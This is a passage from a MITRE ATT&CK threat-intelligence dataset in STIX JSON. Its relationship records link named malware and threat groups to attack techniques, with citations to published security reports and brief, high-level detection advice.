Sunburst Teardrop December 2020)", "relationship_type": "uses", "source_ref": "malware--32f49626-87f4-4d6c-8f59-a0dca953fe26", "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--69398203-a920-4617-810f-dc5be63c968c", "type": "relationship", "created": "2022-03-30T14:26:51.848Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.848Z", "description": "Monitor for newly constructed network connections that are sent or received by untrusted hosts. ", "source_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", "target_ref": "attack-pattern--69b8fd78-40e8-4600-ae4d-662c9d7afdb3", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--693a2834-33ee-4d28-a370-ce331d339a93", "created": "2024-04-12T10:35:54.947Z", "revoked": false, "external_references": [{"source_name": "NKAbuse SL", "description": "KASPERSKY GERT. (2023, December 14). Unveiling NKAbuse: a new multiplatform threat abusing the NKN protocol. Retrieved February 8, 2024.", "url": "https://securelist.com/unveiling-nkabuse/111512/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-04-12T10:35:54.947Z", "description": "[NKAbuse](https://attack.mitre.org/software/S1107) enables multiple types of network denial of service capabilities across several protocols post-installation.(Citation: NKAbuse SL)", "relationship_type": "uses", "source_ref": "malware--bd2ebee8-7c38-408a-871d-221012104222", "target_ref": "attack-pattern--d74c4a7e-ffbf-432f-9365-7ebf1f787cab", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--69422dae-3bc2-41a9-bfc8-6ef431f807c6", "created": "2022-10-13T16:48:41.966Z", "revoked": false, "external_references": [{"source_name": "Korean FSI TA505 2020", "description": "Financial Security Institute. (2020, February 28). Profiling of TA505 Threat Group That Continues to Attack the Financial Sector. Retrieved July 14, 2022.", "url": "https://www.fsec.or.kr/user/bbs/fsec/163/344/bbsDataView/1382.do?page=1&column=&search=&searchSDate=&searchEDate=&bbsDataCategory="}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-10-13T16:48:41.966Z", "description": "[FlawedAmmyy](https://attack.mitre.org/software/S0381) has used PowerShell to execute commands.(Citation: Korean FSI TA505 2020)", "relationship_type": "uses", "source_ref": "malware--432555de-63bf-4f2a-a3fa-f720a4561078", "target_ref": "attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--694d94db-3297-4be1-ab01-7b574ee5f4e5", "created": "2021-08-26T13:58:41.692Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Group IB APT 41 June 2021", "description": "Rostovcev, N. (2021, June 10). Big airline heist APT41 likely behind a third-party attack on Air India. Retrieved August 26, 2021.", "url": "https://www.group-ib.com/blog/colunmtk-apt41/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-03-23T15:45:58.853Z", "description": "(Citation: Group IB APT 41 June 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7", "target_ref": "tool--294e2560-bd48-44b2-9da2-833b5588ad11", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--69513daf-2acd-4b04-a7be-9f31174a2ae9", "type": "relationship", "created": "2020-06-16T17:53:18.768Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET Gamaredon June 2020", "url": "https://www.welivesecurity.com/2020/06/11/gamaredon-group-grows-its-game/", "description": "Boutin, J. (2020, June 11). Gamaredon group grows its game. Retrieved June 16, 2020."}], "modified": "2020-06-22T18:27:32.047Z", "description": "[Gamaredon Group](https://attack.mitre.org/groups/G0047) malware can insert malicious macros into documents using a <code>Microsoft.Office.Interop</code> object.(Citation: ESET Gamaredon June 2020)\t", "relationship_type": "uses", "source_ref": "intrusion-set--2e290bfe-93b5-48ce-97d6-edcd6d32b7cf", "target_ref": "attack-pattern--2f6b4ed7-fef1-44ba-bcb8-1b4beb610b64", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--695a988e-daa3-47d7-bf8d-3539ab992f80", "created": "2018-10-17T00:14:20.652Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "APT15 Intezer June 2018", "url": "https://web.archive.org/web/20180615122133/https://www.intezer.com/miragefox-apt15-resurfaces-with-new-tools-based-on-old-ones/", "description": "Rosenberg, J. (2018, June 14). MirageFox: APT15 Resurfaces With New Tools Based On Old Ones. Retrieved September 21, 2018."}], "x_mitre_deprecated": false, "revoked": false, "description": "(Citation: APT15 Intezer June 2018)", "modified": "2022-07-22T18:52:32.769Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c", "target_ref": "malware--e3cedcfe-6515-4348-af65-7f2c4157bf0d", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--695b5096-83b2-45de-8d8d-05ce75d47f0d", "created": "2022-04-14T15:44:52.363Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "Elastic Process Injection July 2017", "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process", "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017."}], "x_mitre_deprecated": false, "revoked": false, "description": "Monitor and analyze application programming interface (API) calls that are indicative of Registry edits, such as <code>RegCreateKeyEx</code> and <code>RegSetValueEx</code>. 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PLATINUM: Targeted attacks in South and Southeast Asia. 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(2022, March 1). Ukrainian Targets Hit by HermeticWiper, New Datawiper Malware. Retrieved March 25, 2022."}, {"source_name": "ESET Hermetic Wizard March 2022", "url": "https://www.welivesecurity.com/2022/03/01/isaacwiper-hermeticwizard-wiper-worm-targeting-ukraine", "description": "ESET. (2022, March 1). IsaacWiper and HermeticWizard: New wiper and worm targetingUkraine. Retrieved April 10, 2022."}, {"source_name": "Crowdstrike DriveSlayer February 2022", "url": "https://www.crowdstrike.com/blog/how-crowdstrike-falcon-protects-against-wiper-malware-used-in-ukraine-attacks/", "description": "Thomas, W. et al. (2022, February 25). CrowdStrike Falcon Protects from New Wiper Malware Used in Ukraine Cyberattacks. Retrieved March 25, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[HermeticWiper](https://attack.mitre.org/software/S0697) can disable the VSS service on a compromised host using the service control manager.(Citation: Crowdstrike DriveSlayer February 2022)(Citation: ESET Hermetic Wizard March 2022)(Citation: Qualys Hermetic Wiper March 2022)", "modified": "2022-04-15T01:43:57.278Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "malware--a0ab8a96-40c9-4483-8a54-3fafa6d6007a", "target_ref": "attack-pattern--f5d8eed6-48a9-4cdf-a3d7-d1ffa99c3d2a", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--6ad24bad-dc5d-47fa-ac2b-38a58e7775fd", "type": "relationship", "created": "2022-03-30T14:26:51.874Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.874Z", "description": "Monitor for API calls that may employ various means to detect and avoid virtualization and analysis environments. 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Retrieved April 17, 2019."}], "modified": "2020-03-17T02:25:24.426Z", "description": "[Remexi](https://attack.mitre.org/software/S0375) uses [BITSAdmin](https://attack.mitre.org/software/S0190) to communicate with the C2 server over HTTP.(Citation: Securelist Remexi Jan 2019)", "relationship_type": "uses", "source_ref": "malware--ecc2f65a-b452-4eaf-9689-7e181f17f7a5", "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--6ad43f71-f2dd-445f-8352-e762005870cc", "created": "2022-07-15T13:45:34.730Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-08-23T21:14:31.895Z", "description": "Monitor for API calls associated with finding local system groups and permission settings, such as NetLocalGroupEnum. Other API calls relevant to Local Group discovery include NetQueryDisplayInformation and NetGetDisplayInformationIndex.\n\nNote: Most EDR tools do not support direct monitoring of API calls due to the sheer volume of calls produced by an endpoint but may have alerts or events that are based on abstractions of OS API calls. Dynamic malware analysis tools (i.e., sandboxes) can be used to trace the execution, including OS API calls, for a single PE binary. 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WannaCry Malware Profile. Retrieved March 15, 2019.", "url": "https://www.fireeye.com/blog/threat-research/2017/05/wannacry-malware-profile.html", "source_name": "FireEye WannaCry 2017"}, {"description": "Counter Threat Unit Research Team. (2017, May 18). WCry Ransomware Analysis. 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(2022, February 15). Charting TA2541's Flight. Retrieved September 12, 2023.", "url": "https://www.proofpoint.com/us/blog/threat-insight/charting-ta2541s-flight"}, {"source_name": "Cisco Operation Layover September 2021", "description": "Ventura, V. (2021, September 16). Operation Layover: How we tracked an attack on the aviation industry to five years of compromise. Retrieved September 15, 2023.", "url": "https://blog.talosintelligence.com/operation-layover-how-we-tracked-attack/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-09-19T19:47:37.806Z", "description": "[TA2541](https://attack.mitre.org/groups/G1018) has injected malicious code into legitimate .NET related processes including  regsvcs.exe, msbuild.exe, and installutil.exe.(Citation: Proofpoint TA2541 February 2022)(Citation: Cisco Operation Layover September 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--467271fd-47c0-4e90-a3f9-d84f5cf790d0", "target_ref": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--6add4de1-3af8-4994-b65f-ccb13fdd703a", "type": "relationship", "created": "2019-03-25T12:30:41.047Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/", "description": "Falcone, R.. (2016, November 30). Shamoon 2: Return of the Disttrack Wiper. Retrieved January 11, 2017.", "source_name": "Palo Alto Shamoon Nov 2016"}, {"description": "Falcone, R. (2018, December 13). Shamoon 3 Targets Oil and Gas Organization. Retrieved March 14, 2019.", "url": "https://unit42.paloaltonetworks.com/shamoon-3-targets-oil-gas-organization/", "source_name": "Unit 42 Shamoon3 2018"}], "modified": "2019-04-19T19:04:56.009Z", "description": "[RawDisk](https://attack.mitre.org/software/S0364) was used in [Shamoon](https://attack.mitre.org/software/S0140) to help overwrite components of disk structure like the MBR and disk partitions.(Citation: Palo Alto Shamoon Nov 2016)(Citation: Unit 42 Shamoon3 2018)", "relationship_type": "uses", "source_ref": "tool--3ffbdc1f-d2bf-41ab-91a2-c7b857e98079", "target_ref": "attack-pattern--0af0ca99-357d-4ba1-805f-674fdfb7bef9", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--6ade9df2-d75a-40a6-91aa-f3150e07ac6a", "type": "relationship", "created": "2021-03-02T21:48:35.253Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Dragos EKANS", "url": "https://www.dragos.com/blog/industry-news/ekans-ransomware-and-ics-operations/", "description": "Dragos. (2020, February 3). EKANS Ransomware and ICS Operations. Retrieved February 9, 2021."}], "modified": "2021-05-04T18:06:34.412Z", "description": "[EKANS](https://attack.mitre.org/software/S0605) can use Windows Mangement Instrumentation (WMI) calls to execute operations.(Citation: Dragos EKANS)", "relationship_type": "uses", "source_ref": "malware--00e7d565-9883-4ee5-b642-8fd17fd6a3f5", "target_ref": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--6ae983c6-b332-42d9-b489-87f475b6b9d6", "created": "2023-06-16T18:26:40.252Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Joint Cybersecurity Advisory AA23-129A Snake Malware May 2023", "description": "FBI et al. (2023, May 9). Hunting Russian Intelligence \u201cSnake\u201d Malware. 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(2020, November). Dissecting a Chinese APT Targeting South Eastern Asian Government Institutions. Retrieved September 19, 2022.", "url": "https://www.bitdefender.com/files/News/CaseStudies/study/379/Bitdefender-Whitepaper-Chinese-APT.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-09-23T20:55:11.794Z", "description": "(Citation: Bitdefender FunnyDream Campaign November 2020)", "relationship_type": "uses", "source_ref": "campaign--8d2bc130-89fe-466e-a4f9-6bce6129c2b8", "target_ref": "tool--7fcbc4e8-1989-441f-9ac5-e7b6ff5806f1", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--6aedddc0-0c82-48f0-b9cc-071d440a367c", "created": "2023-03-08T20:40:34.782Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "BlackBerry Black Basta May 2022", "description": "Ballmer, D. (2022, May 6). Black Basta: Rebrand of Conti or Something New?. Retrieved March 7, 2023.", "url": "https://blogs.blackberry.com/en/2022/05/black-basta-rebrand-of-conti-or-something-new"}, {"source_name": "Check Point Black Basta October 2022", "description": "Check Point. (2022, October 20). BLACK BASTA AND THE UNNOTICED DELIVERY. Retrieved March 8, 2023.", "url": "https://research.checkpoint.com/2022/black-basta-and-the-unnoticed-delivery/"}, {"source_name": "Cyble Black Basta May 2022", "description": "Cyble. (2022, May 6). New ransomware variant targeting high-value organizations. Retrieved March 7, 2023.", "url": "https://blog.cyble.com/2022/05/06/black-basta-ransomware/"}, {"source_name": "Palo Alto Networks Black Basta August 2022", "description": "Elsad, A. (2022, August 25). Threat Assessment: Black Basta Ransomware. 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Retrieved March 8, 2023.", "url": "https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-blackbasta"}, {"source_name": "Deep Instinct Black Basta August 2022", "description": "Vilkomir-Preisman, S. (2022, August 18). Beating Black Basta Ransomware. Retrieved March 8, 2023.", "url": "https://www.deepinstinct.com/blog/black-basta-ransomware-threat-emergence"}, {"source_name": "Minerva Labs Black Basta May 2022", "description": "Zargarov, N. (2022, May 2). New Black Basta Ransomware Hijacks Windows Fax Service. Retrieved March 7, 2023.", "url": "https://minerva-labs.com/blog/new-black-basta-ransomware-hijacks-windows-fax-service/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-03-13T20:36:35.656Z", "description": "[Black Basta](https://attack.mitre.org/software/S1070) can encrypt files with the ChaCha20 cypher and using a multithreaded process to increase speed.(Citation: Minerva Labs Black Basta May 2022)(Citation: BlackBerry Black Basta May 2022)(Citation: Cyble Black Basta May 2022)(Citation: NCC Group Black Basta June 2022)(Citation: Uptycs Black Basta ESXi June 2022)(Citation: Deep Instinct Black Basta August 2022)(Citation: Palo Alto Networks Black Basta August 2022)(Citation: Trend Micro Black Basta Spotlight September 2022)(Citation: Check Point Black Basta October 2022)", "relationship_type": "uses", "source_ref": "malware--8d242fb4-9033-4f13-8a88-4b9b4bcd9a53", "target_ref": "attack-pattern--b80d107d-fa0d-4b60-9684-b0433e8bdba0", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--6aeeb7e4-fc09-40a6-b071-c04df0f92928", "type": "relationship", "created": "2021-04-19T19:24:55.384Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "BlackBerry Bahamut", "url": "https://www.blackberry.com/us/en/pdfviewer?file=/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-spark-bahamut.pdf", "description": "The BlackBerry Research & Intelligence Team. (2020, October). BAHAMUT: Hack-for-Hire Masters of Phishing, Fake News, and Fake Apps. Retrieved February 8, 2021."}], "modified": "2021-05-24T13:16:56.659Z", "description": "[Windshift](https://attack.mitre.org/groups/G0112) has created LNK files in the Startup folder to establish persistence.(Citation: BlackBerry Bahamut)", "relationship_type": "uses", "source_ref": "intrusion-set--afec6dc3-a18e-4b62-b1a4-5510e1a498d1", "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--6af4810f-3abe-43eb-92b0-ee8fefc2a4b9", "type": "relationship", "created": "2020-09-24T14:20:39.251Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET Dukes October 2019", "url": "https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Operation_Ghost_Dukes.pdf", "description": "Faou, M., Tartare, M., Dupuy, T. (2019, October). OPERATION GHOST. Retrieved September 23, 2020."}], "modified": "2020-10-09T16:08:00.307Z", "description": "[FatDuke](https://attack.mitre.org/software/S0512) has been regularly repacked by its operators to create large binaries and evade detection.(Citation: ESET Dukes October 2019)", "relationship_type": "uses", "source_ref": "malware--54a01db0-9fab-4d5f-8209-53cef8425f4a", "target_ref": "attack-pattern--deb98323-e13f-4b0c-8d94-175379069062", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--6afb86e4-cb3b-40f5-ab03-10db5e0e9302", "type": "relationship", "created": "2021-09-28T17:59:40.620Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Kaspersky Ferocious Kitten Jun 2021", "url": "https://securelist.com/ferocious-kitten-6-years-of-covert-surveillance-in-iran/102806/", "description": "GReAT. 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(2021, November 29). WIRTE\u2019s campaign in the Middle East \u2018living off the land\u2019 since at least 2019. Retrieved February 1, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Ferocious](https://attack.mitre.org/software/S0679) can run <code>GET.WORKSPACE</code> in Microsoft Excel to check if a mouse is present.(Citation: Kaspersky WIRTE November 2021)", "modified": "2022-04-16T21:49:31.682Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "malware--73d08401-005f-4e1f-90b9-8f45d120879f", "target_ref": "attack-pattern--348f1eef-964b-4eb6-bb53-69b3dcb0c643", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--6b184c8f-99d6-4af2-8c01-34fc5d6d89e3", "created": "2019-01-30T13:24:09.060Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "Securelist Octopus Oct 2018", "url": "https://securelist.com/octopus-infested-seas-of-central-asia/88200/", "description": "Kaspersky Lab's Global Research & Analysis Team. (2018, October 15). Octopus-infested seas of Central Asia. Retrieved November 14, 2018."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Octopus](https://attack.mitre.org/software/S0340) can collect the host IP address from the victim\u2019s machine.(Citation: Securelist Octopus Oct 2018)", "modified": "2022-04-06T17:23:47.253Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "malware--e2031fd5-02c2-43d4-85e2-b64f474530c2", "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--6b19a5ae-3f6a-4950-94da-22d94477d5d2", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "http://researchcenter.paloaltonetworks.com/2015/12/bbsrat-attacks-targeting-russian-organizations-linked-to-roaming-tiger/", "description": "Lee, B. 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The Citrix executable was dropped along with [BBSRAT](https://attack.mitre.org/software/S0127) by the dropper.(Citation: Palo Alto Networks BBSRAT)", "relationship_type": "uses", "source_ref": "malware--64d76fa5-cf8f-469c-b78c-1a4f7c5bad80", "target_ref": "attack-pattern--e64c62cf-9cd7-4a14-94ec-cdaac43ab44b", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--6b1cc49f-8d94-4f59-a723-2a70c3edf760", "type": "relationship", "created": "2020-05-26T16:17:59.430Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Anomali Rocke March 2019", "url": "https://www.anomali.com/blog/rocke-evolves-its-arsenal-with-a-new-malware-family-written-in-golang", "description": "Anomali Labs. (2019, March 15). Rocke Evolves Its Arsenal With a New Malware Family Written in Golang. Retrieved April 24, 2019."}], "modified": "2020-06-11T19:52:07.425Z", "description": "[Rocke](https://attack.mitre.org/groups/G0106) has installed an \"init.d\" startup script to maintain persistence.(Citation: Anomali Rocke March 2019)\t", "relationship_type": "uses", "source_ref": "intrusion-set--44102191-3a31-45f8-acbe-34bdb441d5ad", "target_ref": "attack-pattern--03259939-0b57-482f-8eb5-87c0e0d54334", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--6b1fd87c-b8d1-4ea1-9cc3-bc4fb1cd2fbd", "type": "relationship", "created": "2021-02-09T18:36:22.109Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "CheckPoint Volatile Cedar March 2015", "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2015/03/20082004/volatile-cedar-technical-report.pdf", "description": "Threat Intelligence and Research. (2015, March 30). VOLATILE CEDAR. Retrieved February 8, 2021."}], "modified": "2021-02-09T18:36:22.109Z", "description": "[Explosive](https://attack.mitre.org/software/S0569) has collected the username from the infected host.(Citation: CheckPoint Volatile Cedar March 2015) ", "relationship_type": "uses", "source_ref": "malware--6a21e3a4-5ffe-4581-af9a-6a54c7536f44", "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--6b22c256-44a9-4b73-8df6-e4da9c32a5a3", "type": "relationship", "created": "2019-03-26T13:38:24.564Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "LogRhythm WannaCry", "url": "https://logrhythm.com/blog/a-technical-analysis-of-wannacry-ransomware/", "description": "Noerenberg, E., Costis, A., and Quist, N. (2017, May 16). A Technical Analysis of WannaCry Ransomware. Retrieved March 25, 2019."}], "modified": "2020-03-27T20:07:01.402Z", "description": "[WannaCry](https://attack.mitre.org/software/S0366) enumerates current remote desktop sessions and tries to execute the malware on each session.(Citation: LogRhythm WannaCry)", "relationship_type": "uses", "source_ref": "malware--75ecdbf1-c2bb-4afc-a3f9-c8da4de8c661", "target_ref": "attack-pattern--e0033c16-a07e-48aa-8204-7c3ca669998c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--6b2770ca-bf5d-4994-8a7e-868c906f385a", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Unit 42 VERMIN Jan 2018", "description": "Lancaster, T., Cortes, J. (2018, January 29). VERMIN: Quasar RAT and Custom Malware Used In Ukraine. Retrieved July 5, 2018.", "url": "https://researchcenter.paloaltonetworks.com/2018/01/unit42-vermin-quasar-rat-custom-malware-used-ukraine/"}], "modified": "2020-03-30T03:06:04.464Z", "description": "[VERMIN](https://attack.mitre.org/software/S0257) encrypts the collected files using 3-DES.(Citation: Unit 42 VERMIN Jan 2018)", "relationship_type": "uses", "source_ref": "malware--5189f018-fea2-45d7-b0ed-23f9ee0a46f3", "target_ref": "attack-pattern--53ac20cd-aca3-406e-9aa0-9fc7fdc60a5a", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--6b2cd244-a02f-4b76-85d9-a429a298f016", "type": "relationship", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "FireEye Periscope March 2018", "description": "FireEye. (2018, March 16). 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Retrieved October 4, 2021."}], "x_mitre_deprecated": false, "revoked": false, "description": "[FoggyWeb](https://attack.mitre.org/software/S0661) can retrieve token signing certificates and token decryption certificates from a compromised AD FS server.(Citation: MSTIC FoggyWeb September 2021)", "modified": "2022-04-15T17:07:09.889Z", "relationship_type": "uses", "source_ref": "malware--72911fe3-f085-40f7-b4f2-f25a4221fe44", "target_ref": "attack-pattern--60b508a1-6a5e-46b1-821a-9f7b78752abf", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--6b307e36-0d55-43af-864d-095fb78dd711", "created": "2022-03-30T14:26:51.865Z", "x_mitre_version": "0.1", "x_mitre_deprecated": false, "revoked": false, "description": "Monitor for newly executed processes (such as <code>mstsc.exe</code>) that may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log into a computer using the Remote Desktop Protocol (RDP). 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Retrieved October 3, 2019."}], "modified": 